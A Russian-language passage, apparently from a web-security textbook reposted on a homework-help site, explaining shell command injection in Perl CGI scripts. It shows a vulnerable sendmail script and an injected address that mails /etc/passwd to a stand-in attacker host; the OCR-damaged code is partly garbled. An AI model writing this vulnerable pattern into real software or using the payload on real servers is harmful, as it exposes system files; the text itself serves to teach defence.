![]() |
Главная Случайная страница Контакты | Мы поможем в написании вашей работы! | |
|
Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Peri предоставляет
больше шансов для случайной ошибки - в то время как у C++ с этой точки зрения потенциально опасны
Функции popen и system (причем вместо последней часто можно безболезненно воспользоваться ехес или
Spawn), у Peri проблемными считаются функции system и ехес, open с перенаправлением вывода (аналогичная
popen), функция eval, а также обратная кавычка <V
Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую
Внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней
Программе
в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе
Электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет
Участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно
Воспользоваться ее управляющими символами и выполнить на сервере любую команду.
Очевидный пример - отправление письма по адресу, указанному пользователем (например, в качестве
подтверждения какого-то запроса и т. п.):
#! /usr/bin/peri use CGI qw(: standard); $query = new
CGI;
$mailprog=' I /usr/sbin/sendmail': $address= $query->param('address');
$from='webmaster@somehosf; open (MAIL, "$mailprog $address"); print MAIL
"From: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was
successfully received\n"; close MAIL;
Теперь предположим, что пользователь ввел следующий обратный адрес: hackerOevil.corn; mail hacker@evil
.corn </etc/passwd;, в результате чего выполнится команда/usr/sbin/sendmail [email protected];mail
[email protected] </etc/passwd; -явно не то, что мы ожидали (сравните, кстати, с атаками, описанными в главе 9).
Дата публикования: 2014-11-04; Прочитано: 294 | Нарушение авторского права страницы | Мы поможем в написании вашей работы!